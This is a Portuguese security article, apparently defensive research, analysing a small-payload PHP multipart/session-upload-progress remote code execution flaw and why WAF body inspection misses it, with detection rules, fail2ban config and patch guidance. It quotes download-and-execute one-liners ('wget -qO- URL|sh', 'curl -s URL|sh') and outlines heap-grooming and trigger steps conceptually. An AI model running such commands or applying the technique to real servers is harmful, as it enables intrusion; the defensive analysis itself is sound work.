vulnerabilities php2shell exploit payload

Anatomia do Exploit de Menos de 500 Bytes: Como o PHP2Shell Contorna a Inspeção de Body de WAFs

php2shell.run Research Lab •

Anatomia do Exploit de Menos de 500 Bytes: Como o PHP2Shell Contorna a Inspeção de Body de WAFs

<time datetime="2026-10-23">Verificado em 23 de outubro de 2026</time>

A análise de tráfego de ataque real para CVE-2026-109618 e CVE-2026-109619 revela um padrão recorrente: Remote Code Execution completa frequentemente com um body HTTP de 450 a 500 bytes. Isso refuta duas suposições comuns: que bodies POST grandes são o principal risco, e que um WAF com janelas de inspeção suficientemente grandes protege automaticamente. Payloads pequenos não apenas passam por limites de tamanho; são mais difíceis de detectar porque se misturam ao tráfego normal.


1. Por que o payload é tão pequeno

  1. A vulnerabilidade está na engine: o atacante não precisa injetar shellcode. O PHP já possui um caminho de código que alcança system(); apenas ponteiros e campos de tamanho são manipulados.
  2. Arquivos de sessão fazem o trabalho: dados de progresso são armazenados na sessão. O atacante controla o ID de sessão, não todo o fluxo de dados.
  3. Headers multipart são reutilizáveis: Content-Type, boundary e Content-Disposition formam overhead fixo; os dados de ataque reais ficam na casa dos dois dígitos de bytes.
  4. One-liners curtos bastam: wget -qO- URL|sh ou curl -s URL|sh têm poucas dezenas de bytes. Ferramentas adicionais são baixadas apenas após execução bem-sucedida.

Além disso, o atacante mantém o body pequeno deliberadamente para ficar abaixo de limiares de inspeção. Muitos rulesets de WAF inspecionam primeiro requisições grandes ou suspeitas e tratam requisições multipart pequenas como baixo risco.


2. Layout conceitual de um payload de 450 bytes

A representação abaixo é uma esboço reconstituído para uso defensivo. Não contém exploit funcional.

POST /index.php HTTP/1.1                  ~ 38 bytes
Host: victim.example                      ~ 24 bytes
Content-Type: multipart/form-data;
  boundary=----x                            ~ 58 bytes
Content-Length: 3xx                       ~ 20 bytes
Connection: keep-alive                    ~ 22 bytes
                                          ~ 4 bytes
------x                                   ~ 8 bytes
Content-Disposition: form-data;
  name="PHP_SESSION_UPLOAD_PROGRESS"      ~ 66 bytes
                                          ~ 2 bytes
<ID de sessão e valores de progresso>    ~ 40 bytes
------x                                   ~ 8 bytes
Content-Disposition: form-data;
  name="f"; filename="a"                  ~ 52 bytes
Content-Type: application/octet-stream    ~ 38 bytes
                                          ~ 2 bytes
<bytes de fake zval e grooming>           ~ 96 bytes
------x--                                 ~ 10 bytes

O essencial é o nome do campo PHP_SESSION_UPLOAD_PROGRESS e a boundary. Todo o resto serve para direcionar a alocação à classe de tamanho correta e ocupar o slot liberado.


3. Por que regras clássicas de WAF falham

Equívoco 1: "Bloqueamos POSTs grandes"

Regras baseadas em tamanho deixam passar requisições de 450 bytes. O atacante até se beneficia: quanto menor o body, menor a probabilidade de disparar inspeção custosa.

Equívoco 2: "Nosso endpoint não aceita uploads"

O parser multipart roda antes do roteamento. /login, /api/v1/health e caminhos inexistentes são parseados igualmente. A rota da aplicação é irrelevante para o ataque.

Equívoco 3: "Validação de entrada nos protege"

Validação ocorre em código PHP de usuário. A vulnerabilidade é disparada antes desse código rodar. filter_input, htmlspecialchars e parameter binding chegam tarde demais.

Equívoco 4: "Uma regex no nome do campo basta"

Nomes de campo podem variar capitalização, ser percent-encoded ou divididos entre headers. O parser RFC1867 normaliza essas variantes, enquanto matches simples de string falham. Soma-se chunked transfer encoding e formatos de boundary diferentes, que rapidamente tornam uma assinatura inútil.

Equívoco 5: "Inspeção TLS revela o conteúdo"

Mesmo com tráfego descriptografado, o desafio é distinguir uma requisição multipart inofensiva de um ataque. Sem conhecimento da semântica da sessão e do histórico do worker, a transação individual não é inequívoca.


4. Sincronização de duas requisições

Na prática, equipes de resposta a incidentes raramente observam uma única requisição. Frequentemente dois fluxos são sincronizados.

[ Requisição A: Heap Grooming ]          [ Requisição B: Gatilho ]
multipart + padding extenso               forçar reset de sessão
→ alinhar estado dos bins                 → reutilizar dangling pointer
        │                                      │
        └──────────── proximidade temporal ────┘
                                               ▼
                                    sobrescrever fake zval
                                               ▼
                                    vtable → system()

Quanto menor o pool FPM, maior a probabilidade de ambas as requisições caírem no mesmo worker. Um pool grande com alta flutuação reduz a taxa de sucesso, mas aumenta consumo de recursos. A escolha do tamanho do pool é, portanto, também uma decisão de segurança.


5. Detecção e contramedidas

5.1 Encontrar requisições suspeitas

sudo awk '$0 ~ /multipart\/form-data/ {print}' /var/log/nginx/access.log | \
  awk '{print $1, $7, $9, $10}' | sort | uniq -c | sort -rn | head -30

5.2 Nginx como camada complementar

location /api/ {
    if ($http_content_type ~* "multipart/form-data") {
        return 415;
    }
    client_max_body_size 256k;
    include fastcgi_params;
    fastcgi_pass unix:/run/php/php8.3-fpm.sock;
}

5.3 Fail2ban

# /etc/fail2ban/filter.d/php2shell.conf
[Definition]
failregex = ^<HOST> .* "POST [^"]*" (200|404|413) .*multipart/form-data
ignoreregex =
# /etc/fail2ban/jail.d/php2shell.local
[php2shell]
enabled = true
filter = php2shell
logpath = /var/log/nginx/access.log
maxretry = 20
findtime = 60
bantime = 3600

Bloqueios por frequência geram falsos positivos em uploads legítimos. Whitelist caminhos e redes de clientes conhecidas antes de ativar o filtro.

5.4 O reparo real

Todas as medidas de perímetro são temporárias. A solução duradoura é o patch em 8.5.12, 8.4.27, 8.3.36 ou 8.2.35 — ou a desativação do callback:

session.upload_progress.enabled = Off
php -r 'var_dump(ini_get("session.upload_progress.enabled"));'
php -v

6. Lições para Red e Blue Team

  • Tamanho do payload não é indicador de segurança. Uma requisição de 450 bytes pode ser mais perigosa que um upload de 4 MB.
  • Camadas de parser fazem parte da superfície de ataque. Roteamento, autenticação e middleware de framework estão alto demais.
  • WAFs compram tempo, não segurança. Contra payloads multipart compactos e normalizados, estão estruturalmente em desvantagem.
  • Apenas o patch remove a causa. Todo o resto reduz probabilidade de sucesso ou impacto.

7. Parser multipart em detalhe

O parser RFC1867 trabalha de forma stateful. Ele lê a boundary do Content-Type, escaneia o body por sequências de separação e entrega cada campo encontrado a callbacks registrados. Importante é a ordem: MULTIPART_EVENT_START é disparado assim que o header é reconhecido, antes que o conteúdo do primeiro campo esteja completo. Depois vêm eventos por bloco de dados e finalmente MULTIPART_EVENT_END.

Para o PHP2Shell essa ordem é decisiva. O estado vulnerável surge durante o streaming, não ao final da requisição. O atacante não precisa entregar um body completo e bem-formado. Basta levar o parser à fase certa e então abortar ou redirecionar de forma direcionada. É exatamente por isso que medidas de proteção que só atuam após inspeção completa do body são estruturalmente tardias.

Outro ponto é o tratamento de nomes de campo duplicados. O parser aceita múltiplos campos com o mesmo nome e os armazena em uma estrutura. Quando um nome de campo é enviado várias vezes com valores diferentes, a ordem de processamento pode influenciar o estado resultante. WAFs que verificam apenas a primeira ou última ocorrência podem não ver o valor decisivo. Blue teams devem, portanto, avaliar a árvore multipart completa, não apenas a primeira ocorrência de um nome.

A própria boundary é outro ponto cego. Segundo a especificação, pode ter até 70 caracteres e conter caracteres especiais. Muitos motores de assinatura não a normalizam de forma consistente. Um atacante pode escolher uma boundary que pareça parte de outro header ou que confunda a lógica de inspeção. Para detecção, é mais robusto combinar multipart/form-data, PHP_SESSION_UPLOAD_PROGRESS e body pequeno do que depender de uma forma específica de boundary.


8. Avaliar telemetria corretamente

Logs brutos não bastam. É útil agregar em janelas curtas: IP de origem, caminho de destino, código de status, Content-Type e tamanho do body. Um único 415 é inofensivo; vinte deles em um minuto do mesmo IP são um sinal. Combine com reinícios de worker e conexões de saída. Assim surge um padrão que reduz falsos positivos e facilita a priorização no SOC. Documente os limiares e revise-os regularmente, pois atacantes ajustam sua taxa aos limites detectados.


9. FAQ

P1: O ataque funciona contra um endpoint 404? Sim. O parsing multipart começa antes do roteamento; até um handler 404 é exposto.

P2: Por que assinaturas regex não ajudam? Nomes de campo e boundaries podem ser codificados, fragmentados e variados. O parser os normaliza, matches simples de string não. Além disso, falta o tamanho como critério barato de filtro.

P3: Qual o caminho mais rápido para segurança? Primeiro php -r 'var_dump(ini_get("session.upload_progress.enabled"));', depois php -v e o estado dos pacotes. Se a versão estiver abaixo das mínimas citadas, desative o callback imediatamente e planeje o upgrade.

P4: Basta reduzir client_max_body_size? Não. Um payload de 450 bytes fica abaixo de qualquer limite realista. A restrição de tamanho protege contra outros ataques, não contra PHP2Shell.